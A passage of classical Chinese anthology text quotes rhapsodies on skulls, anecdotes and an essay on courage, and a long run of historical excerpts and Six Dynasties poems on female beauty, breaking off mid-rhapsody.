. 明 日 往 视 山 中 . 无 燃 火 处 . 唯 见 髑 髅 百 头 . 布 散 在 山 中 .\n【 赋 】 后 汉 张 衡 髑 髅 赋 曰 . 张 平 子 将 游 目 于 九 野 . 观 化 于 八 方 . 顾 见 髑 髅 . 委 于 路 旁 . 平 子 怅 然 而 问 之 . 子 将 并 粮 推 命 . 以 夭 逝 乎 . 本 丧 此 土 . 流 迁 来 乎 . 为 是 上 知 . 为 是 下 愚 . 答 曰 . 吾 宋 人 也 . 姓 庄 名 周 . 游 心 方 外 . 不 能 自 修 . 公 子 何 以 问 之 . 对 曰 . 我 欲 告 之 于 五 岳 . 祷 之 于 神 祇 . 起 子 素 骨 . 反 子 四 支 . 髑 髅 曰 . 死 为 休 息 . 生 为 役 劳 . 冬 之 冰 凝 . 何 如 春 冰 之 消 . 况 我 已 化 . 与 道 逍 遥 . 与 阴 阳 同 其 流 . 元 气 合 其 朴 . 云 汉 为 川 池 . 星 宿 为 珠 玉 . 雷 电 为 鼓 扇 . 日 月 为 灯 烛 . 合 体 自 然 . 无 情 无 欲 . 不 行 而 至 . 不 疾 而 速 .\n晋 吕 安 髑 髅 赋 曰 . 踌 躇 增 愁 . 言 游 旧 乡 . 惟 遇 髑 髅 . 在 彼 路 傍 . 余 乃 俯 仰 吒 叹 . 告 于 昊 苍 . 此 独 何 人 . 命 不 永 长 . 身 销 原 野 . 骨 曝 大 荒 . 余 将 殡 子 时 服 . 与 子 严 装 . 殓 以 棺 椁 . 迁 彼 幽 堂 . 于 是 髑 髅 蠢 如 . 精 灵 感 应 . 若 在 若 无 . 斐 然 见 形 . 温 色 素 肤 . 昔 以 无 良 . 行 违 皇 ● . 来 游 此 土 . 天 夺 我 年 . 令 我 全 肤 消 灭 . 白 骨 连 翩 . 四 支 摧 藏 于 草 莽 . 孤 魂 悲 悼 乎 黄 泉 . 余 迺 感 其 苦 酸 . 哂 其 所 说 . 念 尔 荼 毒 . 形 神 断 绝 . 今 宅 子 后 土 . 以 为 永 列 . 相 与 异 路 . 于 是 便 别 .\n【 说 】 魏 陈 王 曹 植 髑 髅 说 曰 . 曹 子 游 乎 陂 塘 之 滨 . 步\n乎 蓁 秽 之 薮 . 萧 条 潜 虚 . 经 幽 践 阻 . 顾 见 髑 髅 . 块 然 独\n居 . 于 是 伏 轼 而 问 之 曰 . 子 将 结 缨 首 剑 . 殉 国 君 乎 . 将\n被 坚 执 锐 . 毙 三 军 乎 . 将 婴 兹 固 疾 . 命 殒 倾 乎 . 将 寿 终\n数 极 . 归 幽 冥 乎 . 叩 遗 骸 而 叹 息 . 哀 白 骨 之 无 灵 . 慕 严\n周 之 适 楚 . 傥 托 梦 以 通 情 . 于 是 伻 若 有 来 . 恍 若 有 存 .\n影 见 容 隐 . 厉 响 而 言 曰 . 子 何 国 之 君 子 乎 . 既 枉 舆 驾 .\n愍 其 枯 朽 . 不 惜 咳 唾 之 音 . 慰 以 苦 言 . 子 则 辩 于 辞 矣 .\n然 未 达 幽 冥 之 情 . 识 死 生 之 说 也 . 夫 死 之 为 言 归 也 . 归\n也 者 . 归 于 道 也 . 道 也 者 . 身 以 无 形 为 主 . 故 能 与 化 推\n移 . 阴 阳 不 能 更 . 四 节 不 能 亏 . 是 故 洞 于 纤 微 之 域 . 通\n于 恍 惚 之 庭 . 望 之 不 见 其 象 . 听 之 不 闻 其 声 . 挹 之 不 冲\n. 满 之 不 盈 . 吹 之 不 凋 . 嘘 之 不 荣 . 激 之 不 流 . 凝 之 不\n停 . 寥 落 冥 漠 . 与 道 相 拘 . 偃 然 长 寝 . 乐 莫 是 逾 . 曹 子\n曰 . 予 将 请 之 上 帝 . 求 诸 神 灵 . 使 司 命 辍 籍 . 反 子 骸 形\n. 于 是 髑 髅 长 呻 廓 眦 曰 . 甚 矣 . 何 子 之 难 语 也 . 昔 太 素\n氏 不 仁 . 无 故 劳 我 以 形 . 苦 我 以 生 . 今 也 幸 变 而 之 死 .\n是 反 吾 真 也 . 何 子 之 好 劳 . 而 我 之 好 逸 . 子 则 行 矣 . 余\n将 归 于 太 虚 . 于 是 言 卒 响 绝 . 神 光 雾 除 . 顾 将 旋 轸 . 乃\n命 仆 夫 . 拂 以 玄 尘 . 覆 以 缟 巾 . 爰 将 藏 彼 路 滨 . 壅 以 丹\n土 . 翳 以 绿 榛 . 夫 存 亡 之 异 势 . 乃 宣 尼 之 所 陈 . 何 神 凭\n之 虚 对 . 云 死 生 之 必 均 .\n吴 越 春 秋 曰 . 越 王 欲 报 怨 . 悬 胆 于 户 . 出 入 尝 之 . 事 具 水 部 水 篇 .\n魏 志 曰 . 乐 进 . 字 文 谦 . 容 貌 短 小 . 以 胆 烈 从 太 祖 .\n又 曰 . 袁 绍 在 黎 阳 . 将 南 度 . 程 昱 守 甄 城 . 太 祖 欲 益 其 兵 . 昱 不 肯 . 曰 . 袁 绍 拥 十 万 众 . 见 昱 兵 少 . 必 轻 易 不 攻 . 若 益 昱 兵 . 过 则 不 可 . 攻 之 必 克 . 徒 两 损 其 势 . 愿 公 无 疑 . 太 祖 从 之 . 绍 闻 昱 兵 少 . 果 不 往 . 太 祖 曰 . 程 昱 之 胆 . 过 于 贲 育 .\n吴 志 曰 . 吕 蒙 病 笃 . 孙 权 问 曰 . 卿 如 不 起 . 谁 可 代 者 . 对 曰 . 朱 然 . 胆 守 有 余 . 愚 以 为 可 任 .\n管 辂 别 传 曰 . 辂 年 十 五 . 琅 太 守 单 子 春 . 雅 有 才 度 . 欲 见 辂 . 辂 造 之 . 客 百 余 人 . 有 能 言 之 士 . 辂 谓 子 春 曰 . 府 君 名 士 . 加 有 雄 贵 之 资 . 辂 既 年 少 . 胆 未 坚 刚 . 若 欲 相 观 . 惧 失 精 神 . 请 先 饮 酒 三 斗 . 然 后 而 言 . 子 春 大 喜 . 酌 三 斗 . 独 使 饮 之 . 于 是 辂 人 人 答 对 . 言 皆 有 余 .\n刘 琨 书 曰 . 胆 识 坚 定 . 临 难 无 苟 免 之 意 .\n世 说 曰 . 姜 维 死 时 见 剖 . 胆 大 如 斗 .\n【 论 】 魏 嵇 康 明 胆 论 曰 . 有 吕 子 春 者 . 精 义 味 道 . 研\n覈 是 非 . 以 为 人 有 胆 可 无 明 . 有 明 便 有 胆 矣 . 嵇 先 生 以\n为 明 胆 殊 用 . 不 能 相 生 . 论 曰 . 夫 元 气 陶 铄 . 众 生 禀 焉\n. 赋 受 有 多 少 . 故 才 性 有 昏 明 . 唯 至 人 . 特 钟 纯 美 . 兼\n周 外 内 . 无 不 毕 备 . 降 此 已 往 . 盖 阙 如 也 . 或 明 于 见 物\n. 或 勇 于 决 断 . 人 情 贪 廉 . 各 有 所 止 . 譬 诸 草 木 . 区 以\n别 矣 . 兼 之 者 博 于 物 . 偏 受 者 守 其 分 . 故 吾 谓 明 胆 异 气\n. 不 能 相 生 . 明 以 见 事 . 胆 以 决 断 . 专 明 无 胆 . 虽 见 不\n断 . 专 胆 无 明 . 则 违 理 失 机 .\n人 部 二 美\n妇 人 贤 妇 人 老\n毛 诗 曰 . 窈 窕 淑 女 . 君 子 好 逑 .\n又 曰 . 硕 人 其 颀 . 衣 锦 褧 衣 . 手 如 柔 荑 . 肤 如 凝 脂 . 领 如 蝤 蛴 . 齿 如 瓠 犀 . 螓 首 娥 眉 .\n又 曰 . 有 美 一 人 . 婉 如 清 阳 .\n左 传 曰 . 宋 华 父 督 见 孔 父 之 妻 于 路 . 曰 . 美 而 艳 .\n又 曰 . 昔 有 仍 氏 生 女 . 黰 黑 而 甚 美 . 光 可 鉴 . 名 曰 玄 妻 .\n礼 含 文 嘉 . 曰 . 禹 卑 宫 室 . 垂 意 沟 洫 . 则 玉 女 敬 养 .\n穆 天 子 传 曰 . 赤 乌 之 人 甚 好 . 献 二 女 于 天 子 . 以 为 嬖 人 . 赤 乌 . 美 人 之 地 .\n韩 子 曰 . 魏 王 遗 楚 王 美 女 . 王 甚 悦 之 .\n庄 子 曰 . 毛 嫱 骊 姬 . 人 之 所 美 也 . 鱼 见 之 深 潜 . 鸟 见 之 高 飞 .\n尹 文 子 曰 . 齐 有 黄 公 者 . 二 女 皆 国 色 . 以 其 美 也 . 常 谦 辞 毁 之 为 丑 恶 . 丑 恶 之 名 远 布 . 而 一 国 之 人 无 敢 娉 者 .\n慎 子 曰 . 毛 嫱 西 施 . 天 下 之 至 姣 胡 茅 反 . 也 . 衣 以 皮 褐 倛 . 欺 既 反 . 则 见 者 走 . 易 以 玄 裼 . 则 行 者 皆 止 .\n楚 辞 曰 . 姱 容 脩 态 縆 洞 房 . 娥 眉 曼 绿 目 腾 光 .\n又 曰 . 粉 白 黛 黑 施 芳 泽 . 长 袂 拂 面 善 留 客 .\n又 曰 . 美 人 既 醉 朱 颜 .\n淮 南 子 曰 . 曼 容 皓 齿 . 形 姱 骨 佳 . 不 待 傅 粉 芳 泽 而 美 者 . 西 施 阳 文 也 .\n战 国 策 曰 . 张 仪 曰 . 郑 周 之 女 . 粉 白 黛 黑 . 非 知 而 见 之 者 以 为 神 .\n又 曰 . 司 马 喜 谓 赵 王 曰 . 赵 . 佳 丽 之 所 出 也 .\n史 记 曰 . 纣 囚 西 伯 . 而 闳 夭 之 徒 . 以 有 莘 氏 美 女 献 纣 . 纣 大 悦 . 乃 放 西 伯 .\n又 曰 . 尹 夫 人 邢 夫 人 . 同 时 并 幸 . 武 帝 有 诏 . 不 得 相 见 . 尹 夫 人 自 请 武 帝 . 愿 见 邢 夫 人 . 帝 令 他 夫 人 饰 . 从 者 数 十 人 来 前 . 尹 夫 人 见 之 曰 . 非 邢 夫 人 . 帝 曰 . 何 以 言 之 . 对 曰 . 视 其 体 . 形 状 不 足 以 当 人 主 . 有 诏 邢 夫 人 . 衣 故 衣 . 独 身 来 . 尹 夫 人 望 见 之 曰 . 真 是 矣 . 于 是 乃 低 头 俛 而 泣 . 自 痛 其 不 如 也 . 喭 曰 . 美 女 入 室 . 恶 女 之 仇 也 .\n汉 书 曰 . 李 延 年 善 歌 . 侍 武 帝 . 歌 曰 . 北 方 有 佳 人 . 绝 世 而 独 立 . 一 顾 倾 人 城 . 再 顾 倾 人 国 . 宁 不 知 倾 城 国 . 佳 人 不 可 再 得 . 上 叹 曰 . 善 . 岂 有 此 人 乎 . 平 阳 主 因 言 延 年 有 女 弟 . 上 乃 召 见 之 . 实 妙 丽 善 舞 . 以 为 夫 人 . 事 具 乐 部 舞 篇 .\n汉 武 故 事 曰 . 起 明 光 宫 . 发 燕 赵 美 女 二 千 人 充 之 . 率 取 十 五 以 上 . 二 十 以 下 . 凡 诸 宫 美 人 . 可 有 七 八 十 . 与 上 同 辇 者 十 六 人 . 员 数 恒 使 满 . 皆 自 然 美 丽 . 不 使 粉 白 黛 黑 .\n东 观 汉 记 曰 . 初 . 光 武 闻 阴 丽 华 美 . 心 悦 之 . 叹 曰 . 娶 妻 当 得 阴 丽 华 . 后 为 皇 后 . 事 具 叙 志 篇 .\n华 峤 汉 书 曰 . 梁 冀 妻 孙 寿 . 色 美 . 能 作 愁 眉 啼 妆 . 堕 马 髻 . 折 腰 步 . 龋 齿 笑 . 以 为 媚 惑 也 .\n妒 记 曰 . 桓 大 司 马 以 李 势 女 为 妾 . 桓 妻 南 郡 主 . 拔 刀 率 数 十 婢 往 李 所 . 因 欲 斫 之 . 见 李 在 窗 前 梳 头 . 发 垂 委 地 . 姿 貌 绝 丽 . 乃 徐 下 地 结 髻 . 敛 手 向 主 曰 . 国 破 家 亡 . 无 心 以 至 今 日 . 若 能 见 杀 . 实 犹 生 之 年 . 神 色 闲 正 . 辞 气 凄 婉 . 主 乃 掷 刀 前 抱 之 曰 . 阿 子 . 见 汝 不 能 不 怜 . 何 况 老 奴 . 遂 善 遇 之 .\n干 宝 晋 纪 曰 . 石 崇 有 妓 人 曰 绿 珠 . 美 而 工 舞 . 孙 秀 乃 使 人 求 焉 . 崇 方 登 凉 观 . 临 清 水 . 妇 人 侍 侧 使 者 以 告 崇 . 崇 出 妓 妾 数 十 人 . 皆 蕴 兰 麝 而 被 罗 縠 . 曰 . 在 所 择 . 使 者 曰 . 君 侯 服 御 . 丽 则 丽 矣 . 然 本 受 旨 索 绿 珠 . 崇 勃 然 曰 . 绿 珠 吾 所 爱 重 . 不 可 得 也 . 使 者 还 . 以 告 . 故 秀 劝 赵 王 伦 杀 之 .\n桓 谭 新 论 曰 . 陈 平 说 单 于 阏 氏 . 言 汉 有 好 丽 美 女 . 其 容 貌 天 下 无 双 . 急 以 进 单 于 . 单 于 见 此 . 必 大 爱 之 . 则 阏 氏 疏 矣 .\n典 论 曰 . 司 隶 冯 方 女 . 国 色 也 . 袁 术 登 城 见 . 悦 之 . 遂 纳 焉 . 甚 爱 幸 . 诸 姬 害 其 宠 . 杀 之 .\n魏 略 曰 . 初 袁 绍 子 熙 . 纳 甄 后 . 熙 出 幽 州 . 后 留 侍 姑 . 及 邺 破 . 绍 妻 及 后 . 坐 堂 皇 上 . 绍 妻 自 缚 . 文 帝 曰 . 袁 夫 人 令 新 妇 举 头 . 姑 乃 奉 后 令 仰 . 帝 审 视 . 见 其 颜 色 非 凡 . 称 叹 之 . 太 祖 为 迎 取 焉 .\n吴 志 曰 . 孙 权 步 夫 人 . 以 美 丽 得 幸 . 宠 冠 后 庭 .\n又 曰 . 周 瑜 从 孙 策 皖 城 . 得 桥 公 两 女 . 国 色 也 . 策 自 纳 大 桥 . 瑜 纳 小 桥 . 俗 说 曰 . 宋 祎 是 石 崇 妓 绿 珠 弟 子 . 有 国 色 . 善 吹 笛 . 后 入 晋 明 帝 宫 . 事 具 乐 部 笛 篇 .\n邺 中 记 曰 . 陈 逵 妹 . 才 色 甚 美 . 发 长 七 尺 . 石 季 龙 以 为 夫 人 .\n【 诗 】 古 诗 曰 . 燕 赵 多 佳 人 . 美 者 颜 如 玉 . 被 服 罗 裳 衣 . 当 户 理 清 曲 . 音 响 一 何 悲 . 弦 急 知 柱 促 . 愿 为 双 飞 鷰 . 衔 泥 巢 君 屋 .\n魏 陈 王 曹 植 诗 曰 . 有 美 一 人 . 被 服 纤 罗 . 妖 姿 艳 丽 . 蓊 若 春 花 . 红 颜 韡 晔 . 云 髻 峨 峨 . 弹 琴 抚 节 . 为 我 弦 歌 . 清 浊 齐 均 . 既 亮 且 和 . 取 乐 今 日 . 遑 恤 其 他 . 又 杂 诗 曰 . 南 国 有 佳 人 . 容 华 若 桃 李 . 朝 游 江 海 岸 . 夕 宿 潇 湘 沚 . 时 俗 薄 朱 颜 . 谁 为 发 皓 齿 . 俛 仰 岁 将 暮 . 荣 曜 宁 久 恃 .\n又 美 女 篇 曰 . 美 女 妖 且 闲 . 采 桑 岐 路 间 . 攘 袖 见 素 手 . 皓 腕 约 金 环 . 头 上 三 爵 钗 . 腰 佩 翠 琅 玕 . 明 珠 交 玉 体 . 珊 瑚 闲 木 难 . 罗 衣 何 飘 飖 . 轻 裾 随 风 还 . 顾 盻 遗 光 采 . 长 笑 气 若 兰 . 行 徒 用 息 驾 . 休 首 以 忘 餐 . 借 问 女 何 居 . 乃 在 城 南 端 . 青 楼 临 大 路 . 高 门 结 重 关 . 容 华 晖 朝 日 . 谁 不 希 令 颜 .\n魏 阮 籍 诗 曰 . 西 方 有 佳 人 . 皎 若 白 日 光 . 被 服 纤 罗 衣 . 左 右 佩 双 珰 .\n又 诗 曰 . 周 郑 天 下 郊 . 卫 衢 当 三 河 . 妖 冶 闲 都 子 . 英 曜 何 芬 葩 . 玄 发 发 朱 颜 . 睇 眄 有 光 华 . 倾 城 思 一 顾 . 遗 视 来 相 过 . 愿 为 三 春 游 . 朝 阳 忽 蹉 跎 .\n又 诗 曰 . 二 妃 游 江 滨 . 逍 遥 从 风 翔 . 交 甫 怀 环 佩 . 婉 娩 有 芬 芳 . 绮 靡 情 欢 爱 . 千 岁 不 相 忘 . 倾 城 迷 下 蔡 . 容 华 结 中 肠 . 感 激 生 忧 思 . 萱 草 树 兰 房 .\n晋 傅 玄 诗 曰 . 有 女 怀 芬 芳 . 媞 媞 步 东 厢 . 蛾 眉 若 双 翠 . 明 眸 发 清 阳 . 丹 唇 翳 皓 齿 . 秀 颜 若 珪 璋 . 令 仪 希 世 出 . 无 乃 古 毛 嫱 . 首 戴 金 步 摇 . 耳 系 明 月 珰 . 珠 环 约 素 腕 . 翠 羽 垂 鲜 光 . 容 华 既 已 艳 . 志 节 拟 秋 霜 .\n梁 简 文 帝 晚 景 出 行 诗 曰 . 细 树 含 残 影 . 春 闺 散 晚 香 . 轻 花 鬓 畔 堕 . 微 汗 粉 中 光 . 飞 凫 初 罢 曲 . 啼 鸟 忽 度 行 . 羞 令 白 日 暮 . 车 马 郁 相 望 .\n又 诗 曰 . 丽 旦 与 妖 嫱 . 共 拂 可 怜 妆 . 同 安 鬟 里 拨 . 异 作 额 间 黄 . 罗 裾 宜 细 简 . 画 屧 重 高 墙 . 含 羞 未 上 砌 . 微 笑 出 长 廊 . 取 花 争 宝 镊 . 攀 枝 念 橤 香 . 但 歌 聊 一 曲 . 鸣 弦 未 肯 张 . 自 矜 心 所 爱 . 三 十 侍 中 郎 .\n又 咏 内 人 昼 眠 诗 曰 . 北 窗 聊 就 枕 . 南 檐 日 未 斜 . 攀 钩 落 倚 障 . 插 捩 举 琵 琶 . 梦 笑 开 娇 靥 . 眠 鬟 压 落 花 . 簟 文 生 玉 腕 . 香 汗 浸 红 纱 . 夫 婿 恒 相 伴 . 莫 误 是 倡 家 .\n又 咏 美 人 看 画 诗 曰 . 殿 上 图 神 女 . 殿 里 出 佳 人 . 可 怜 俱 是 画 . 谁 能 辩 写 真 . 分 明 净 眉 眼 . 一 种 细 腰 身 . 所 可 持 为 异 . 长 有 好 精 神 .\n梁 元 帝 古 意 诗 曰 . 妾 在 成 都 县 . 愿 作 高 唐 云 . 樽 中 石 榴 酒 . 机 上 蒲 萄 纹 . 停 梭 还 敛 色 . 何 时 劝 使 君 .\n梁 昭 明 太 子 咏 照 流 看 落 钗 诗 曰 . 相 随 照 渌 水 . 意 是 重 凉 风 . 流 摇 妆 影 坏 . 钗 落 鬓 花 空 . 佳 期 在 何 许 . 徒 伤 心 不 同 .\n又 名 士 悦 倾 城 诗 曰 . 美 人 称 绝 世 . 丽 色 譬 花 丛 . 经 居 李 城 北 . 来 往 宋 家 东 . 教 歌 公 主 第 . 学 舞 汉 城 宫 . 多 游 淇 水 曲 . 好 在 凤 楼 中 . 履 高 疑 上 砌 . 裾 开 特 畏 风 . 袖 轻 见 跳 脱 . 珠 摡 杂 青 虫 . 垂 丝 绕 帷 幔 . 落 日 度 房 栊 . 妆 窗 隔 柳 色 . 井 水 照 桃 红 . 非 怜 交 甫 佩 . 羞 使 春 闺 空 .\n又 美 人 晨 妆 诗 曰 . 北 窗 朝 向 镜 . 锦 障 复 斜 萦 . 娇 羞 不 肯 出 . 犹 言 妆 未 成 . 散 黛 随 眉 广 . 烟 支 逐 脸 生 . 试 将 持 出 众 . 定 得 向 怜 名 .\n梁 邵 陵 王 萧 纶 见 姬 人 诗 曰 . 春 来 不 复 赊 . 入 苑 驻 行 车 . 比 来 妆 点 异 . 今 世 拨 鬟 斜 . 却 扇 承 枝 影 . 舒 衫 受 落 花 . 狂 夫 不 妒 妾 . 随 意 晚 还 家 .\n梁 萧 子 显 美 女 篇 曰 . 章 丹 暂 辍 舞 . 巴 姬 请 罢 弦 . 佳 人 淇 洧 出 . 艳 赵 复 倾 燕 . 繁 秾 既 为 李 . 照 水 亦 成 莲 . 朝 酤 成 都 酒 . 暝 数 河 间 钱 . 余 光 幸 未 惜 . 兰 膏 空 自 煎 .\n梁 庾 肩 吾 咏 美 人 看 画 诗 曰 . 欲 知 画 能 巧 . 唤 取 真 来 映 . 并 出 似 分 身 . 相 看 如 照 镜 . 安 钗 等 疏 密 . 着 领 俱 周 正 . 不 解 平 城 围 . 谁 与 丹 青 竞 .\n又 诗 曰 . 绛 树 及 西 施 . 俱 是 好 容 仪 . 非 关 能 结 束 . 本 自 细 腰 枝 . 镜 前 难 并 照 . 相 将 映 渌 池 . 看 妆 畏 水 动 . 敛 袖 避 风 吹 . 转 手 齐 裾 乱 . 横 簪 历 鬓 垂 . 曲 中 人 未 取 . 谁 堪 白 日 移 . 不 分 他 相 识 . 唯 听 使 君 知 .\n又 南 苑 看 人 还 诗 曰 . 春 花 竞 玉 颜 . 俱 折 复 俱 攀 . 细 腰 宜 窄 衣 . 长 钗 巧 扶 鬟 . 洛 桥 初 度 烛 . 青 门 欲 上 关 . 中 人 应 有 望 . 上 客 莫 前 还 .\n梁 徐 君 蒨 初 春 携 内 人 行 戏 诗 曰 . 梳 饰 多 今 世 . 衣 着 一 时 新 . 草 短 犹 通 屧 . 梅 香 未 ○ 原 讹 末 . 据 冯 校 本 改 . 着 人 . 树 斜 牵 锦 帔 . 风 横 入 红 纶 . 满 酌 兰 英 酒 . 对 此 得 娱 神 . 梁 刘 孝 绰 爱 姬 赠 主 人 诗 曰 . 卧 久 疑 妆 脱 . 镜 中 私 自 看 . 薄 黛 销 将 尽 . 凝 朱 半 有 残 . 垂 钗 绕 落 鬓 . 微 汗 染 轻 纨 . 同 羞 不 相 难 . 对 笑 更 成 欢 . 妾 心 君 自 解 . 挂 玉 且 留 冠 .\n又 为 人 赠 美 人 诗 曰 . 巫 山 荐 枕 日 . 洛 浦 献 珠 时 . 一 遇 便 如 此 . 宁 关 先 有 期 . 幸 非 使 君 问 . 莫 作 罗 敷 辞 . 夜 长 眠 复 坐 . 谁 知 闇 敛 眉 . 欲 寄 同 花 烛 . 为 照 遥 相 思 .\n又 咏 姬 人 未 肯 出 诗 曰 . 帷 开 见 钗 影 . 帘 动 闻 钏 声 . 徘 徊 定 不 出 . 常 羞 华 烛 明 .\n又 见 邻 舟 人 投 一 物 众 姬 争 之 诗 曰 . 河 流 既 浼 浼 . 河 鸟 复 关 关 . 落 花 浮 浦 出 . 飞 雉 度 洲 还 . 是 日 倡 家 女 . 竞 娇 桃 李 颜 . 良 人 惜 美 珥 . 欲 以 代 芳 菅 . 新 缣 疑 故 素 . 盛 赵 蔑 衰 班 . 曳 绡 争 掩 縠 . 摇 佩 奋 鸣 环 . 客 心 空 振 荡 . 乔 枝 不 可 攀 .\n又 淇 上 戏 荡 子 妇 诗 曰 . 桑 中 始 弈 弈 . 淇 上 未 汤 汤 . 美 人 要 杂 佩 . 上 客 诱 明 珰 . 日 暗 人 声 静 . 微 步 上 兰 房 . 露 葵 不 待 劝 . 鸣 琴 无 暇 张 . 翠 钗 挂 已 落 . 罗 衣 拂 更 香 . 如 何 嫁 荡 子 . 春 夜 守 空 床 . 未 见 青 丝 骑 . 徒 劳 红 粉 妆 .\n梁 吴 筠 ○ 按 当 作 均 . 后 同 . 拟 古 诗 曰 . 艳 裔 阳 之 春 . 携 手 清 洛 滨 . 鸡 鸣 上 林 苑 . 薄 暮 小 平 津 . 长 裾 藻 白 日 . 广 袖 带 芳 尘 . 故 交 一 如 此 . 新 知 讵 忆 人 .\n又 古 意 诗 曰 . 妾 家 横 塘 北 . 发 艳 小 长 安 . 花 钗 玉 宛 转 . 珠 绳 金 络 纨 . 羃 㭎 悬 青 凤 . 逶 迤 摇 白 团 . 谁 能 分 见 此 . 含 恨 不 相 看 .\n梁 王 僧 孺 陈 南 康 新 纳 诗 曰 . 二 八 人 如 花 . 三 五 月 如 镜 . 开 帘 一 种 色 . 还 将 两 相 映 .\n梁 何 思 澄 南 苑 逢 美 人 诗 曰 . 洛 浦 疑 回 雪 . 巫 山 似 旦 云 . 倾 城 今 始 见 . 倾 国 昔 曾 闻 . 媚 眼 随 羞 合 . 丹 唇 逐 笑 分 . 风 卷 蒲 萄 带 . 日 照 石 榴 裙 . 自 有 狂 夫 在 . 空 持 劳 使 君 .\n梁 费 昶 春 郊 望 美 人 诗 曰 . 芳 郊 拾 翠 人 . 回 袖 探 芳 春 . 金 辉 起 步 摇 . 红 采 发 吹 纶 . 阳 阳 盖 倾 日 . 飘 飘 马 足 尘 . 薄 暮 高 楼 下 . 当 知 妾 姓 秦 .\n梁 刘 缓 咏 倾 城 人 诗 曰 . 不 信 巫 山 女 . 不 信 洛 川 神 . 何 关 别 有 物 . 还 是 倾 城 人 . 经 共 陈 王 戏 . 曾 与 宋 家 邻 . 未 嫁 先 名 玉 . 来 时 本 姓 秦 . 粉 光 犹 假 面 . 朱 色 不 胜 唇 . 遥 望 疑 花 发 . 闻 香 知 异 春 . 夜 夜 言 娇 尽 . 日 日 态 还 新 . 已 倾 荀 奉 蒨 . 能 迷 石 季 伦 . 上 客 徒 留 目 . 不 见 正 横 陈 .\n梁 鲍 泉 落 日 看 还 诗 曰 . 妖 姬 竞 早 春 . 上 苑 逐 名 臣 . 苔 轻 变 水 色 . 霞 浓 掩 日 轮 . 雕 甍 斜 落 景 . 画 扇 拂 游 尘 . 衣 香 遥 已 度 . 衫 红 远 更 新 . 谁 家 荡 舟 妾 . 何 处 织 缣 人 .\n梁 徐 悱 妻 刘 氏 诗 曰 . 花 庭 丽 景 斜 . 兰 牖 轻 风 度 . 落 日 更 新 妆 . 开 帘 对 芳 树 .\n又 诗 曰 . 东 家 挺 奇 丽 . 南 国 擅 容 辉 . 夜 月 方 神 女 . 朝 霞 喻 洛 妃 .\n梁 范 静 妻 沈 戏 萧 娘 诗 曰 . 明 珠 翠 羽 帐 . 金 薄 绿 绡 帷 . 因 风 时 暂 举 . 想 像 见 芳 姿 . 清 晨 插 步 摇 . 薄 晚 解 罗 衣 . 托 意 风 流 子 . 佳 情 肯 自 私 .\n陈 伏 知 道 咏 人 娉 妾 仍 逐 琴 心 诗 曰 . 春 色 转 相 催 . 佳 人 心 自 回 . 长 卿 琴 已 弄 . 秦 嘉 书 未 来 . 挂 冠 易 分 绶 . 荐 枕 缺 因 媒 . 染 香 风 即 度 . 登 垣 花 正 开 . 贞 楼 若 高 下 . 何 如 上 阳 台 .\n陈 徐 陵 春 情 诗 曰 . 风 光 今 旦 动 . 雪 色 故 年 残 . 薄 衣 迎 新 节 . 当 鑪 却 晚 寒 . 故 香 分 细 烟 . 石 炭 捣 轻 纨 . 竹 叶 裁 衣 带 . 梅 花 奠 酒 盘 . 年 芳 袖 里 出 . 春 色 黛 中 安 . 欲 知 迷 下 蔡 . 先 将 过 上 兰 .\n隋 江 总 秋 日 新 宠 美 人 应 令 诗 曰 . 后 宫 唯 闻 莫 琼 树 . 绝 世 后 有 宋 容 华 . 皆 自 争 名 进 女 弟 . 定 觉 双 飞 胜 荡 家 . 愿 并 迎 春 比 翼 鷰 . 长 作 照 日 同 心 花 . 闻 道 艳 歌 时 易 调 . 忖 许 新 恩 那 久 要 . 翠 眉 未 画 自 生 愁 . 玉 脸 含 啼 还 似 笑 . 角 枕 千 娇 荐 芬 香 . 若 使 琴 心 一 曲 奏 . 幽 兰 度 曲 不 可 终 . 阳 台 梦 里 自 应 通 . 秋 树 相 思 一 枝 绿 . 为 插 贱 妾 两 鬟 中 .\n又 新 入 姬 人 应 令 诗 曰 . 洛 浦 流 风 漾 淇 水 . 秦 楼 初 日 度 阳 台 . 玉 轶 轻 轮 五 香 散 . 金 灯 夜 火 百 光 开 . 非 是 妖 姬 渡 江 日 . 定 言 神 女 隔 河 来 . 来 时 向 月 别 姮 娥 . 别 时 清 吹 悲 萧 史 . 数 钱 拾 翠 争 佳 丽 . 拂 红 点 黛 何 相 似 . 本 持 纤 腰 惑 楚 宫 . 暂 回 舞 袖 惊 吴 市 . 新 人 羽 帐 挂 流 苏 . 故 人 网 户 织 蜘 蛛 . 梅 花 柳 色 春 难 遍 . 情 来 春 去 在 须 臾 . 不 用 庭 中 赋 绿 草 . 但 愿 思 着 弄 明 珠 .\n【 赋 】 楚 宋 玉 登 徒 子 好 色 赋 曰 . 登 徒 子 侍 于 楚 王 . 短 宋 玉 曰 . 玉 为 人 体 貌 闲 丽 . 口 多 微 辞 . 又 性 好 色 . 愿 王 勿 与 出 入 后 宫 . 王 以 登 徒 子 之 言 问 宋 玉 . 玉 曰 . 天 下 之 佳 人 . 莫 若 臣 东 家 子 . 增 之 一 分 则 太 长 . 减 之 一 分 则 太 短 . 着 粉 太 白 . 施 朱 太 赤 . 眉 如 翠 羽 . 肌 如 白 雪 . 腰 如 束 素 . 齿 如 含 贝 . 嫣 然 一 笑 . 惑 阳 城 . 迷 下 蔡 . 然 此 女 登 墙 窥 臣 三 年 . 至 今 未 许 也 . 登 徒 子 则 不 然 . 其 妻 蓬 头 挛 耳 . 齞 唇 历 齿 . 旁 行 踽 偻 . 又 疥 且 痔 . 登 徒 子 悦 之 . 使 有 五 子 . 王 熟 察 之 . 谁 为 好 色 者 矣 . 秦 章 华 大 夫 在 侧 . 因 进 而 称 曰 . 臣 周 览 九 土 . 足 历 五 都 . 从 容 郑 卫 溱 洧 之 间 . 是 时 向 春 之 末 . 迎 夏 之 阳 . 鸧 鹒 喈 喈 . 群 女 出 桑 . 此 郊 之 姝 . 华 色 含 光 . 体 美 容 冶 . 不 待 饰 妆 . 于 是 处 子 恍 若 有 望 而 不 来 . 忽 若 有 来 而 不 见 . 意 密 体 疏 . 俯 仰 异 观 . 含 喜 微 笑 . 窃 视 流 盻 . 因 迁 延 而 辞 避 . 目 欲 其 颜 . 心 顾 其 义 . 扬 诗 守 礼 . 终 不 过 差 . 故 不 足 称 也 .\n汉 司 马 相 如 美 人 赋 曰 . 司 马 相 如 . 美 丽 闲 都 . 游 于 梁 王 . 梁 王 悦 之 . 邹 阳 谮 之 于 王 曰 . 相 如 美 则 美 矣 . 然 服 色 容 冶 . 妖 丽 不 忠 . 将 欲 媚 辞 取 悦 . 游 王 后 宫 . 相 如 曰 . 古 之 避 色 . 孔 墨 之 徒 . 